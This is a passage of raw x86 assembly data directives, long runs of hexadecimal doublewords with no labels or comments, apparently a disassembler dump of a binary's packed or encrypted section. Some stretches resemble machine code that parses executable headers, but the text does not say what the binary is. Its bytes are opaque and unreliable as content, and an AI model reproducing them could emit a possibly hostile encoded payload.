		dd 942C09B9h, 38D0AE6Fh, 0F46BB7AFh, 0B53ED6B3h, 9946D810h
		dd 39518826h, 0AD14AC89h, 6EF78F6Ch, 67A66FCDh,	0AE9271C9h
		dd 0E77CA107h, 3C93EE15h, 509126CDh, 43883EDh, 0E54FB61Ch
		dd 0BAAD8FE6h, 8E2348D8h, 3883ED55h, 8EB31901h,	89EFB7F9h
		dd 0C5C7AF22h, 0B2CF4032h, 157D9850h, 0C1FF93CEh, 7BC1E02Ch
		dd 0F8DFA0C5h, 40E71C68h, 0BF0BA37Fh, 0BE61F49Ch, 0ED765E06h
		dd 1125F04Ch, 159DFD4h,	3B797A0Fh, 5ED16BEh, 7F14399Fh
		dd 0CB1B6EAh, 0AC6D927Ah, 8FD037CFh, 41F1AB2h, 17F6A608h
		dd 0A4A4A7Eh, 3B1C0000h, 280344ABh, 1E82990h, 0EDC90A71h
		dd 0CBADEE55h, 2AB4D43Bh, 0C7303E5h, 0EE55EDCBh, 0CE35C5ADh
		dd 0B118B08Dh, 49AA3F76h, 1D4DD834h, 8C690043h,	0C4C8F9F4h
		dd 0BA535A1Ch, 0A0B86h,	6CFCDD00h, 51E9C405h, 32C2A9EAh
		dd 16AE8ACBh, 0FC8C6EAFh, 0A6697595h, 8CCD34C4h, 6EAF16AEh
		dd 4E8FF686h, 3772D971h, 34766B00h, 4DE4DD8h, 0F48C69C1h
		dd 4FB89A6Bh, 0D74DA72h, 0EF4DA4A3h, 840DA580h,	0D76F4D8Ch
		dd 0CBF0564Eh, 0D97B7236h, 204EC51h, 96D1316Fh,	1D23190Bh
		dd 0C55537F8h, 0F4846B3Ch, 0DD6D4F8Eh, 0DB105C54h, 1A269E46h
		dd 0FB200896h, 990533Ah, 0E837ABEEh, 99327EE4h,	4DA63BE2h
		dd 19861A4Fh, 4F84DD72h, 6850861Ah, 0A597B602h,	8E1769Bh
		dd 0DC9C15C2h, 0C943A035h, 2B139801h, 5B285D92h, 20869919h
		dd 0EC5D3AFBh, 0F6EE770Fh, 0CFAA6B90h, 0FE8EE378h, 6E569801h
		dd 3B877F08h, 0EA683C4h, 4A3DDC13h, 5A8E2786h, 938h, 3299290Ah
		dd 177E16F1h, 0F85FEFD6h, 0DC43DBB7h, 0C229B99Bh, 0F1D33CA2h
		dd 0DBB9FA61h, 0B39BDC43h, 9E7BBC23h, 2D649F06h, 0D8375B98h
		dd 0EE310B4Dh, 6BF48C69h, 6249B29Ah, 0F0056CD2h, 4BD37A13h
		dd 9AD441FBh, 0BCA09657h, 63F81D83h, 51DE2649h,	43042911h
		dd 4067CE66h, 48A08E25h, 3581664Ah, 4C7109E6h, 8231CE31h
		dd 85730CA4h, 3DD622F6h, 0D5FA8A6Ch, 0F9916D2Eh, 0DF498DE6h
		dd 1DB2594Dh, 4DDF49C4h, 0F642A890h, 14A48C5Dh,	1096DC19h
		dd 52861F54h, 8A0h, 9A019172h, 7FE67E59h, 60C7573Eh, 44AB431Fh
		dd 2A912103h, 593BD40Ah, 432162C9h, 1B0344ABh, 6E3248Bh
		dd 95CC076Eh, 0D837E300h, 5699734Dh, 66C18C69h,	6543603Fh
		dd 0F8C952B8h, 41FA831Bh, 7552F01Ah, 465F76DDh,	0B89E4FF7h
		dd 543h, 9DA399F5h, 0C1C9E378h,	0A99151DEh, 75E6C384h
		dd 8179029Ah, 0A0A3B41Bh, 0BE8025AEh, 70C334AEh, 0A475FE8Eh
		dd 0EEA730C8h, 0D2D883C7h, 960F9DADh, 691DC707h, 0E2EEC64Eh
		dd 0E5AB621h, 40D8h, 0AA991500h, 8DE67BA0h, 3B4BD379h
		dd 0EE0FEA20h, 2CC5A356h, 184650AAh, 0E8FF4B3Bh, 51D27700h
		dd 66C3A39h, 6243A9E1h,	9CBEB79Bh, 11h,	0A6BB50F7h, 2E6BBB36h
		dd 6A7FA46h, 28Ah, 0DEA39943h, 0D3792849h, 19FBBC4Bh, 0A2080089h
		dd 5E82173Ch, 0C851DEC1h, 0BEB257E0h, 174DD831h, 0E25AD8F2h
		dd 70A4395Eh, 0EA57D589h, 3E1CDD02h, 0D9251DA6h, 0D63F2162h
		dd 20D760F8h, 0C5E9568Bh, 0B016FE47h, 630AC14Ah, 152C0348h
		dd 0AFC2E461h, 47C548B2h, 9FEE3A22h, 0D3A42DBDh, 7D861F1h
		dd 710C9525h
		dd 0BE18103Ah, 9A183ADDh, 0BF66AD13h, 8515F78Bh, 2DBD9F60h
		dd 4B296AE1h, 0B28EFFDAh, 3399911Ah, 24D47FAAh,	88665BCEh
		dd 7C33BC22h, 0FC48E0BBh, 0AE37CFADh, 801C2ED5h, 65E56B65h
		dd 0D7238DE6h, 5C39AA88h, 0EF843BC4h, 47C582F2h, 0AE147A62h
		dd 82273247h, 6F5747C5h, 607284ACh, 60C6C351h, 6ADBB8F9h
		dd 0A778C48Fh, 0C6145974h, 9C71FA60h, 5FA0AA99h, 39B7738h
		dd 0F28A68B7h, 0A85CB2CDh, 3CA4CF9Ch, 411FDEF0h, 0D059E9D0h
		dd 0B6F8419h, 0FF74BD3h, 980243A9h, 799136E0h, 4FC9B2F3h
		dd 3B94C9Eh, 69890000h,	746EF787h, 0BC4C2EB5h, 0F0806233h
		dd 7595CC67h, 69A156A6h, 67F7D9h, 9874DDBFh, 0C9A67700h
		dd 4AB0A831h, 8462A3E4h, 2F08C9B9h, 36A12D47h, 0E44AE38Bh
		dd 80C12747h, 906E2FE4h, 0DE776FF8h, 0DB4AFF0Eh, 0FC410BAh
		dd 0D56547FBh, 9F3714D3h, 41D1B97Ah, 0B5B75CF5h, 1C4BD39Dh
		dd 41D9B677h, 920A40F5h, 9D1D56EBh, 0E1C94BD3h,	0D1694695h
		dd 0B141296Ah, 0D5B07128h, 9ACEF13Dh, 0AB4BD39Dh, 0C6AE5476h
		dd 9D81E277h, 6D554BD3h, 0D279A007h, 0D39D243Dh, 7CC8B04Bh
		dd 0D362EC59h, 0C2E4F94Bh, 3F9E5044h, 5532A37Eh, 0D63C34BDh
		dd 9B30554Dh, 4BD38046h, 0A4DA260Eh, 0FFFFFF0Ch, 0AEC358FFh
		dd 364BD380h, 69AF024Eh, 4C8DF48Ch, 0BB2D76Fh, 0D3797D76h
		dd 0B720574Bh, 3B1CE052h, 67004C34h, 0D02195B0h, 77B21BCFh
		dd 539F0595h, 0D3923C30h, 5A70954Bh, 6D861BC2h,	0F94BD392h
		dd 9976C511h, 77599A01h, 2301C2E7h, 1A63F8Bh, 1C47F01Bh
		dd 49A3E70Ch, 6EC3E45Ch, 6F07E2A3h, 5CED23h, 992A0000h
		dd 0D1789DA3h, 0D379273Ch, 7BC7AF4Bh, 0C18FB146h, 0DCF751DEh
		dd 2BE959EFh, 71FA606Eh, 861EF9BAh, 0E0D9173Ah,	658A4DD8h
		dd 0E6DEC725h, 1820A45Ah, 5D000000h, 0D3840C95h, 9237D94Bh
		dd 92FFFFFDh, 0E5AEAD1h, 1006BBh, 6430000h, 243h, 0CDA14661h
		dd 8A299DAFh, 8C69EB3Eh, 0BD9A6BF4h, 623F0025h,	0F6077ECAh
		dd 36DD0246h, 0AF449375h, 4BD379B2h, 88D43A22h,	0D9AA5365h
		dd 9A230B51h, 0D548F0F5h, 0ADC86D4Dh, 1EB24834h, 0C25234EFh
		dd 2F5B105Ch, 558CE8BDh, 7DFC17A4h, 59E9D116h, 0DF95A8C0h
		dd 365D93h, 0F7B80000h,	2FA831Bh, 0A39963B6h, 10D1789Dh
		dd 2E519D35h, 51D97E86h, 0DA7F08F0h, 4DD57C95h,	8F1D2D52h
		dd 0A4555D16h, 0B54D28E9h, 18F5342Ch, 0B7FE3480h, 3B000000h
		dd 331BDC83h, 795390A3h, 1B034BD3h, 0D8A380CFh,	0F38CFE68h
		dd 31BA203Ch, 0C9EE7E60h, 0A932B08h, 5C2DC612h,	8D5EE77Fh
		dd 32F318B0h, 0A381C050h, 3348BF0Bh, 4BD31263h,	0C72EC6A3h
		dd 618F86B6h, 92DC832Bh, 34BD5530h, 4B70D63Ch, 0CB17AF8Ah
		dd 0AFBA0196h, 0E9AA51DCh, 0E70C7202h, 8FB44426h, 0CF58F0CEh
		dd 0D3148BD7h, 236661F1h, 0CA541391h, 44AFD31h,	3B1C0000h
		dd 280344ABh, 1E82990h,	0EDC90A71h, 0CBADEE55h,	2AB4D43Bh
		dd 0C7303E5h, 0EE55EDCBh, 0CE35C5ADh, 0B118B08Dh, 49AA3F76h
		dd 1D4DD82Ah, 0C2830043h, 0CCC44DE5h, 0BF4F3180h, 0A23A1758h
		dd 8C69F63Bh, 0BD9A6BF4h, 8FADBE25h, 7DFF94B9h,	0E551D994h
		dd 9CCF74FDh, 0C4DD563h, 3D0E972Fh, 633CC555h, 0A6CD8EBCh
		dd 10D14B7Fh, 2F4E9A32h, 790E330Dh, 57DF8EE7h, 359E8041h
		dd 0B57BD4Dh, 94A50CF4h, 0D47BA0A8h, 0C32935B9h, 0ABF729CAh
		dd 0D2362C88h, 294E365Dh, 8AF18168h, 0CB467A75h, 32C2AA59h
		dd 8310F20Dh, 0D6269158h, 3F6F138Ah, 0AC000000h, 0D3795095h
		dd 0B3D044Bh, 49AA3FE6h, 1D4BD379h, 3172E935h, 8C31BA4Ah
		dd 4BD37957h, 20A2E80Fh, 142A939h, 5B008919h, 4BD37909h
		dd 47DC8338h, 4BD3792Ah, 0D186D2BAh, 912109B9h,	0C283E52Ah
		dd 0B3024EE6h, 0EB7B62CBh, 432BFC85h, 4A712AB3h, 0FFDB9C00h
		dd 0E6EC0A34h, 0F755D36h, 0FC8C74C3h, 0BE18095h, 5C394BD3h
		dd 92395EC4h, 0D3E3E4FDh, 3F09DE4Bh, 54291747h,	4B26654Dh
		dd 0E6322AB3h, 5026E5C1h, 0FF76179Eh, 8354FFFFh, 0C54EE6C2h
		dd 553281CDh, 866334BDh, 0C67687EEh, 0F4C85D82h, 5051D9AAh
		dd 48DF14A9h, 0C6874DD5h, 0D2CA53EBh, 2109206Ch, 36E6E1FCh
		dd 1BA2BF54h, 4A324DD5h, 521AD9B1h, 0A7C86D06h,	404DD57Ah
		dd 25FF49Bh, 0D24DD57Ah, 0A1E99EEAh, 55575A4Bh,	2DA4A4h
		dd 99E10000h, 0E3789DA3h, 51D97E3Dh, 8F34BDA5h,	4DD57D5Eh
		dd 44A8E207h, 0A4555C61h, 0A7FEDB9Ch, 0D571D112h, 379D854Dh
		dd 0D7B5EBh, 69F20000h,	9A6BF48Ch, 0CE9F28B8h, 0FFD059F1h
		dd 4A658A22h, 0C5A1B131h, 3594942Dh, 9C2C1453h,	0F1B2D950h
		dd 0FDF57E16h, 8C088EB1h, 21FE4BD3h, 0D53BD3B0h, 463C95B0h
		dd 169F3714h, 5472851Eh, 0ABEC63AFh, 0F6AD36CEh, 0FBB9BA4Fh
		dd 452D4BD3h, 0FB568B20h, 16FE4BD3h, 0B791ABCAh, 1853FD92h
		dd 0F69D51D9h, 0D5DB0061h, 0C7ECD44Dh, 0D5DB3132h, 71BDA54Dh
		dd 0E40B725Ah, 65B14123h, 2D52F646h, 0DA8E1F98h, 3A5F4757h
		dd 0A0079779h, 0F2ED7D5Fh, 4E0D7199h, 0F1D70BA4h, 0C3000001h
		dd 0AAEB52E2h, 8FD037CFh, 70B118A8h, 5495FC94h,	5B7BE272h
		dd 1AAA8C83h, 0FC9472B3h, 0DC6C5495h, 0BF573475h, 51E61D58h
		dd 4DD82C10h, 69A7EAC4h, 4F90F787h, 8C240172h, 3EA50B03h
		dd 9DA399F9h, 7E3DE378h, 0BDA551D9h, 7D5E8F34h,	0E6CE4DD5h
		dd 21FCCD56h, 13624A89h, 0D57D657Eh, 0A309F14Dh, 709A411Ah
		dd 4A80A5ABh, 5D962BD2h, 94DD57Dh, 4CD56D48h, 7DA2EE54h
		dd 0A4555C28h, 0AD7BBCD7h, 3E5A675h, 0CA81B7h, 35DC0000h
		dd 0D54A43A0h, 0DF2B134Dh, 6668838Ch, 0C5537274h, 0A32F1595h
		dd 0A309E61Ch, 602B0857h, 502D0591h, 97C1FB8h, 0E9BA43A9h
		dd 49EE7707h, 4BD3E875h, 1F44DCB9h, 9DE9815Eh, 3D08E526h
		dd 0E23A423Ch, 0F9897050h, 3A42D93h, 55EA0F39h,	51D90FABh
		dd 0D735DAF5h, 9D9A6043h, 0EB523A51h, 0B9DE62DAh, 0DA6D2824h
		dd 254A3257h, 8BF28264h, 22FF684Ah, 0CA09018Ah,	0F3EE54ECh
		dd 4E0DD394h, 0E1D2069Fh, 0B3000000h, 9ADB42D2h, 7FC027BFh
		dd 60A10898h, 4485EC84h, 4B6BD262h, 0A9A7C93h, 0EC8462A3h
		dd 0CC5C4485h, 0AF472465h, 41D60D48h, 4DD82F20h, 6997DAB4h
		dd 4F90F787h, 4C73DA72h, 682B8E31h, 4E357B99h, 0B90C58BEh
		dd 6BF48C69h, 0BE25BD9Ah, 94B98FADh, 0B8502CEDh, 0C113496Ch
		dd 0CE7551DEh, 0D8303839h, 78C4AC4Dh, 2CC4A061h, 0DF863DC6h
		dd 0D830294Ah, 89D5BD4Dh, 5EC55D3Ah, 1FA8401Dh,	2A22F7Ah
		dd 1A30D749h, 3C1A8B68h, 0CF58F0CBh, 0F0E871D7h, 5E2238Ah
		dd 91D4673Ah, 56B95BEh,	37CFAB7Ch, 0CCFE25AEh, 6D025936h
		dd 42923B74h, 2B92F8E0h, 0C09C0DEAh, 0F69DC228h, 923B0061h
		dd 0C021B642h, 9442923Bh, 71BDA5ACh, 12A4D8h, 58FF0000h
		dd 923BAEC3h, 98753642h, 197F7700h, 196C7ACDh, 6FF88869h
		dd 0A029C19Eh, 0CE57E7CFh, 0FE871FFDh, 32BB4B2Dh, 66EF7F61h
		dd 9821B995h, 0C750E0C7h, 0FA831BF6h, 0E68956CCh, 4C681h
		dd 0EE830000h, 24348704h, 6824248Bh, 67ADh, 68241489h
		dd 115Bh, 0BA242C89h, 5516A94h,	70C6E281h, 0D2F7721Dh
		dd 8308E2C1h, 0EA8101C2h, 0E894326Dh, 4C5E68h, 24248900h
		dd 4240481h, 5D000000h,	24348152h, 501577F6h, 5108458Fh
		dd 8B9h, 81E90100h, 1577F631h, 34FF5950h, 0C4815D24h, 4
		dd 5A2434FFh, 4C481h, 0DAE90000h, 95FFFBEBh, 0B669BC3Dh
		dd 0E2AEAD4Bh, 0B85D2B79h, 60B57BCh, 0E0FFC503h, 70E32A41h
		dd 0DFF5509h, 439CD064h, 7E7B3EDBh, 2F3238D2h, 5228254Ah
		dd 221F27F0h, 3D7C2CBh,	6DCC5EE4h, 34A5A3Fh, 38FA48DEh
		dd 4B20211h, 779E2AE6h,	720DBF0h, 50585E57h, 0D352DF3h
		dd 0C82FFCDh, 26279212h, 5BBB2906h, 4084E16Ah, 320DA89Fh
		dd 6E19D8Dh, 39B80606h,	89000000h, 620B185h, 0E806h, 5580000h
		dd 0Dh,	39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 59D48D8Dh, 6A060Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0B9A3F4C3h, 8BEED422h, 631B995h, 13E906h, 0FFF00000h
		dd 1A22CFB0h, 2221EC92h, 0C0E21F2Ch, 0F627EBCEh, 0DD8D89F0h
		dd 89060628h, 60DFD95h,	1185C706h, 10060611h, 89000066h
		dd 62FAD95h, 4985C706h,	6062Eh,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC35C353h
		dd 93AFE92h, 6150185h, 7DB5FF06h, 6A060621h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 9AF0C350h, 0AD8DDFF7h, 0B35BE270h, 12059D8Bh, 95FF0606h
		dd 6060791h, 21358529h,	6A0606h, 1AC995FFh, 0C08B0606h
		dd 0AB9B6DEBh, 0D7A5EF35h, 7FB8441Ch, 727CB8FBh, 0EEC7719Ah
		dd 46316313h, 807E96D6h, 84824C63h, 768758E9h, 0BA222F42h
		dd 9BC6CF94h, 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h,	203C3F12h
		dd 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h, 56F7FB0Ch
		dd 0E4C87D46h, 0A4E21B5Ah, 1CE31A9Dh, 0EAAD8F50h, 30203243h
		dd 2F61E8F4h, 46D7CF0Bh, 0E8BE92ACh, 8,	0EA2DA14Fh, 79A163C3h
		dd 6880F60h, 89000000h,	620459Dh, 0A860F06h, 0E9000000h
		dd 5, 4B6D794Ch, 505A61F2h, 59FB8B66h, 5972C281h, 95890000h
		dd 6061555h, 1635B8h, 0D1BD0B00h, 0FF060623h, 0DDB58B32h
		dd 5B060633h, 81FA8B66h, 5A9DB2EBh, 9870F21h, 0F000000h
		dd 389h, 0FEB70F00h, 6867F381h,	9D892BC3h, 6062F15h, 0F2FCF381h
		dd 8F535D0Ah, 5995BF02h, 0EA832BD3h, 8D016004h,	606071Dh
		dd 1C398D31h, 83610606h, 850F01E8h, 0FFFFFFABh,	79BD8960h
		dd 0B7060616h, 0B0E96195h, 60000000h, 0F6DA8C66h, 850F04C2h
		dd 0Ch,	321D853Bh, 840F0606h, 36h, 154D853Bh, 840F0606h
		dd 2Ah,	499853Bh, 840F0606h, 1Eh, 7ED853Bh, 840F0606h
		dd 12h,	25DDBD83h, 0F010606h, 584h, 5FE900h, 0D08B0000h
		dd 8B3C5203h, 88BAh, 784A8B00h,	840FC985h, 49h,	0F8C281h
		dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh
		dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h
		dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh,	4ED29D8Dh, 5B80606h, 0FF000000h
		dd 0BC361E3h, 60EBD0h, 17h dup(0)
		dd 0E9000000h, 0B2Ch, 0B20E9h, 63A96800h, 62E9060Bh, 68FFFB21h
		dd 60B6508h, 0FB2158E9h, 657D68FFh, 4EE9060Bh, 6CFFFB21h
		dd 0E2C8E1Dh, 0AAC82A79h, 4C6ACCDBh, 0EB096B38h, 0AFAA0C97h
		dd 317210C6h, 0D8D7B1CFh, 782B5876h, 158EF816h,	0A8DD5EB3h
		dd 33CFD815h, 0B1C2C1D7h, 0CFD8417Ch, 2C52B333h, 91EE9A68h
		dd 0C47C615Ch, 0D629D92Dh, 6B17B2A6h, 0BB4CAD0Eh, 183E6D1Bh
		dd 5F26BD4Ch, 0FB3E105Ah, 8725C1E7h, 0B140A201h, 635A8FA0h
		dd 892DC53Fh, 3F4A7328h, 49AA2DC5h, 0B2F19523h,	564D3654h
		dd 71D269F8h, 3703EE54h, 92F684AAh, 0E999B715h,	443E5CBAh
		dd 88BDCE5Fh, 2DC48335h, 0B61390F4h, 45632F55h,	0EC0A683Fh
		dd 8EAC0A99h, 119CEBF9h, 95F354B3h, 4DDE263Bh, 0CF274F18h
		dd 0B344A52Bh, 0D7397413h, 0A999B148h, 142B7A0Dh, 6B914068h
		dd 0B74848A1h, 0CFA04782h, 0FE5CBD33h, 9BFDA6E0h, 0BFEC9A47h
		dd 5E085C69h, 63424506h, 0B445A605h, 7C4F6EA3h,	44A52DC4h
		dd 4585A1Eh, 0ED415AA6h, 4E0DABh, 5E490000h, 29AE0406h
		dd 0C47BC9F4h, 770B2B2Dh, 0E6FCE2Ch, 0E31829B8h, 2DC47BDAh
		dd 18753057h, 0B9EC97B7h, 0D7D6FC5Bh, 0C98C2FC6h, 0CF3F04FDh
		dd 0EDA162B8h, 0B317A8Ah, 0FFED9A47h, 7F245E88h, 4161C221h
		dd 0B0066746h, 2F181468h, 44000000h, 0AFFE8929h, 65A5BF89h
		dd 0C9F4290Fh, 0F72DC47Bh, 7C0CB1E6h, 7FE02DC4h, 90E6B559h
		dd 0D2071829h, 2DC47BEBh, 0B67AA001h, 68BEED9Ah, 15E1468h
		dd 0ED3B7001h, 0A32BC24Bh, 87CDD40Ch, 3056F08Fh, 0F3A60465h
		dd 33CB48CEh, 16F7AFCBh, 0AEF441DAh, 95127616h,	0CC895B7Eh
		dd 0DB018598h, 16853h, 55E8F00h, 863F7405h, 762DC47Ch
		dd 0ED99B715h, 9A085CBEh, 208300ECh, 454363C2h,	29AF0566h
		dd 8AAAF989h, 0BA86ACFBh, 4065E66h, 290458AEh, 7BDAE318h
		dd 0B91A2DC4h, 40EF1193h, 2878ABEDh, 0B4000000h, 0AE04065Eh
		dd 7BC9F429h, 0CA2B2DC4h, 9A532974h, 962DBEEDh,	0F39030D6h
		dd 6F2999B0h, 68F2B6DCh, 291814h, 5E440000h, 8AA04E06h
		dd 0A0946117h, 0F429E93Fh, 2DC47BC9h, 0E4BFC452h, 18292D83h
		dd 39832481h, 6187035Ch, 0BEED9A9Dh, 5E146868h,	0DD740505h
		dd 94505B9Fh, 0D8D7FD0Ch, 445F27C7h, 68B6FB1Eh,	53EA2DC5h
		dd 1C3B9A8Ah, 0A4FF84C6h, 0F1521D43h, 92117593h, 8701A130h
		dd 456BCA28h, 0BFEC9A81h, 0D5E81D2Eh, 542DC47Bh, 0B6157330h
		dd 0ED2F859h, 8929085Ch, 0BD87ADFCh, 290D63A7h,	7BDAE318h
		dd 0FA1A2DC4h, 61C01E8Dh, 0B60ADA00h, 0ED415AA6h, 300DABh
		dd 5E490000h, 29AE0406h, 0EBD20718h, 12DC47Bh, 9F0480A0h
		dd 99BCE241h, 2DC47C24h, 291167C8h, 0BEED9A53h,	0FC892968h
		dd 73C787ADh, 3618h, 65E4400h, 1829AE04h, 0F49B7B81h, 86BB4532h
		dd 2DC4B137h, 0D5FB5CBDh, 0C4B10BB2h, 0E339082Dh, 0ED9A5329h
		dd 892968BEh, 0BD4CAAF9h, 0C47C3588h, 0F556B72Dh, 18BB0FCFh
		dd 0C0h, 5055E44h, 7C863F74h, 15762DC4h, 0FC8828B7h, 0C4EA49A7h
		dd 0F2945036h, 0C8E6A703h, 1B7C8C25h, 9BFD5EBDh, 8C176C0Ch
		dd 0E5A9CF2Eh, 69BFEC9Ah, 65E085Ch, 7C1E9FD4h, 6DCE2DC4h
		dd 458B60Ch, 0ED415AA6h, 500DABh, 770E0000h, 0BF4EC8DDh
		dd 445F2733h, 5EF9BDE3h, 29AE0406h, 990A7818h, 93B6DC3Bh
		dd 2DC47C2Ah, 291369CAh, 0F9892953h, 0C7ED4CAAh, 6A94E39h
		dd 99A3677Dh, 7910A102h, 531C3A13h, 0D094BA0Bh,	89291468h
		dd 0F58DADFCh, 0CBF150AEh, 27BBh, 65EE700h, 0F429AE04h
		dd 2DC47BC9h, 292D8352h, 8ED9A53h, 0B7D97656h, 378DEEDBh
		dd 0DAE31829h, 1A2DC47Bh, 7FD393B9h, 2EBFEC9Ah,	53B1F68Eh
		dd 7302CEF4h, 7C902D62h, 3642DC4h, 0DE049FE3h, 0E703350h
		dd 0AF0D96F0h, 0C47BC3FCh, 7333612Dh, 49ABF88Eh, 0F2505B2Bh
		dd 0A01D5263h, 542DC47Bh, 0A351CDF3h, 0B9D7CF6Bh, 143A6919h
		dd 41A30086h, 0F98A8AE7h, 0C24B64C4h, 8FED4E2Bh, 0CAACE5DCh
		dd 0E98B433h, 813C7182h, 7333CAADh, 866AEC12h, 0E1AEF3A6h
		dd 40h,	664542E2h, 0BF83A908h, 0ACFB8929h, 158EF886h, 1962ED84h
		dd 0D8EFBCCAh, 4B71D930h, 14F1CC7Fh, 44402DC5h,	0A3E3015Fh
		dd 0F6D3C49h, 0D3F14FB0h, 3796F4AFh, 625E48F6h,	629F0735h
		dd 0D1258724h, 61BFEC9Ah, 19AAEA07h, 3E9C0B79h,	85BAB9DFh
		dd 2BCF210Eh, 0E53FA102h, 0C2F78888h, 31CDA666h, 0E9DFB5Ch
		dd 265B186Eh, 2DD1E597h, 3D9BFC5Dh, 2C95B8DEh, 6D2DD1E6h
		dd 38B85551h, 2FA8FADFh, 3Bh, 5055E6Bh,	0C2C36374h, 0E6445F24h
		dd 69C82687h, 7B8D2043h, 0FA0B2DC4h, 0C47BF8C5h, 759BFC2Dh
		dd 18B849AAh, 34D4366Dh, 36h, 0F1FE8525h, 4EB636B9h, 0B8167730h
		dd 5E6F3359h, 63740505h, 0BDE3C2C3h, 0C47C179Ah, 7C09A92Dh
		dd 0D6B1CF2Dh, 0B91A79D7h, 0D667C893h, 0C7584F36h, 1C426127h
		dd 9618F84Ch, 44000001h, 7102005Eh, 0D2F8B7D1h,	2DCD5C0Eh
		dd 64F35158h, 0C47C8E2Fh, 9CFD5E2Dh, 8929B276h,	0B98F0FEh
		dd 8FED4EADh, 0A7C0A30h, 7C813C71h, 12732DC4h, 4585BB1h
		dd 869C9229h, 0A6223ED3h, 3C62C3E0h, 0EDAB46BAh, 5121ABh
		dd 5E5D0000h, 29AC0200h, 4EACFB89h, 0B9CAC9EFh,	8A7AD522h
		dd 0AE2C3303h, 2911214Eh, 5A7DA304h, 2DC57163h,	29D22889h
		dd 0BCEB9A53h, 0FA892966h, 36C585ABh, 7BCDF025h, 0F6652DC4h
		dd 489677A9h, 0FE8FF04Dh, 0C4C8F4C9h, 7197F82Dh, 2918ADh
		dd 5E440000h, 29AC0200h, 0C47BC9F4h, 2B57F72Dh,	95BB1A78h
		dd 29CC22F1h, 0FA892953h, 0CEEE4DABh, 3493F1B6h, 9E05800Eh
		dd 9A146848h, 635A8FECh, 892DC47Ch, 2971C728h, 7BDAE318h
		dd 31A2DC4h, 3C26D005h,	6288E954h, 65E4296h, 0F0F17F4Eh
		dd 4DAE6A07h, 4776ABBCh, 0AD2DC4C6h, 2962264Ch,	93F0FE89h
		dd 0B989AF10h, 0FE892965h, 0AEF58FAFh, 40FA0688h, 446DABEDh
		dd 0A9000000h, 7304065Eh, 7017FFDCh, 98BE0417h,	781829D4h
		dd 5073990Ah, 2DC47C6Dh, 51245F7Fh, 0C47BA11Ch,	91F2532Dh
		dd 1D73D433h, 0ED9A5329h, 0BD1E85FFh, 0ECF88C2Ch, 52B10F9Ch
		dd 6807CBF1h, 201814h, 5E440000h, 29AE0406h, 0C47BC9F4h
		dd 2D83522Dh, 0ED9A5329h, 892968BEh, 0F96EDFBh,	0CBF152B1h
		dd 0E99AB70Bh, 17A95CBAh, 0EF2DC47Ch, 0DBC8BE5Eh, 0C3D3687Dh
		dd 9D31749Ch, 0ACFA163Ch, 15772E55h, 0FD8929C1h, 0CBF150AEh
		dd 0CE5F463Dh, 2B51562Eh, 5B39D05Fh, 9B58D488h,	760D9BC1h
		dd 0D4B3D12Fh, 275D7BD9h, 0E1FF2280h, 5C473CC5h, 0C4E290FBh
		dd 0FD5F463Dh, 0C54DE54Ah, 1ED3E72Dh, 49A8EE4Bh, 0FFFFFE28h
		dd 51922985h, 267D0557h, 0D28B230Fh, 0E6B10C41h, 0E2432DC4h
		dd 0E72899BCh, 0F8982DC4h, 0CFF2188Bh, 2DC4E672h, 0C4E6942Ah
		dd 0E6BF022Dh, 0E4DD2DC4h, 0B82DC4E6h, 0EDC4E709h, 0C4D997ECh
		dd 0BC16890Ch, 0A6DB6CCDh, 0EBCD1284h, 0FC8BE94Ah, 597F2C5Ch
		dd 0A132728Fh, 0CAF4A86Ch, 0D4099AF1h, 0EDD2EBE9h, 0A673C48h
		dd 861348A9h, 53C40631h, 2D457F7h, 98F10000h, 0EE99B719h
		dd 463F5DBFh, 0A5DFFD5Fh, 47E9CFEh, 0B5423D9Fh,	62C4DFA3h
		dd 5674444h, 0A7099CE7h, 4CAEFD89h, 7C4176F7h, 7033CFDFh
		dd 0EC9A965Ah, 0E81D2EBFh, 2DC47BD5h, 0ED96B617h, 0D3F958B6h
		dd 9FE17807h, 0D62F50FBh, 0CDD692A0h, 2E8FBE64h, 0E1213E08h
		dd 0E99F3F50h
		dd 267194BAh, 0E62BD01Fh, 5634046h, 0A7089BE7h,	0F355B681h
		dd 0D0218140h, 171F7433h, 0C60A5186h, 7DDE31DAh, 713A4CECh
		dd 1291F513h, 0EC8C8BB1h, 91AF119Ah, 0A558B6F5h, 2DC57A24h
		dd 0E374BCD1h, 0D02611AEh, 0ED7EDF2Bh, 0F3B47C56h, 62EF8A7Eh
		dd 917A9194h, 2F2E54F1h, 4AACF78Fh, 0C0515A2Ch,	1B416220h
		dd 6320C04Fh, 0EBCDE240h, 85A25CBAh, 9A648AEBh,	77AC3D45h
		dd 31DA5B1Ch, 0F751AF10h, 0F8099A9Ah, 0C4DCFAC3h, 5251372Dh
		dd 0F6ADD5F5h, 0B8D83998h, 0B0AFD5CEh, 0CF81EC7Bh, 4F38582Bh
		dd 10EA5F9Eh, 0C425B0FCh, 15A60766h, 30921175h,	0D9377412h
		dd 0CF689B26h, 0FD852533h, 0A102A1E7h, 0F4BEE443h, 0D106979Fh
		dd 31DA3DC6h, 0C9F429BAh, 682DC4C1h, 0C6258320h, 49A70869h
		dd 19292EFh, 13AADFF0h,	0D92DC4C2h, 0BB2E778h, 0E12DC4C2h
		dd 2D375A80h, 0FF2BC2BCh, 58E6699Eh, 237F7E0Eh,	17583h
		dd 0B8F79200h, 544F3856h, 0F2B1D4F2h, 95127290h, 366D1533h
		dd 3A2CD9D4h, 0DBF95B48h, 7E9CFEADh, 1E3C9E05h,	84D93B68h
		dd 0E0EFCE03h, 0EF0533CFh, 1015E2Bh, 215C3B70h,	74142BCFh
		dd 0A8739912h, 728FE947h, 90DC1173h, 328343C0h,	0BC1B79DAh
		dd 5EBCE79Ch, 0D80D9EFFh, 31CE4DE0h, 0E209FB12h, 2BA1FA1Ah
		dd 0D02E7D0Bh, 5ADB1071h, 0EF8406ABh, 100F393h,	6C1D0000h
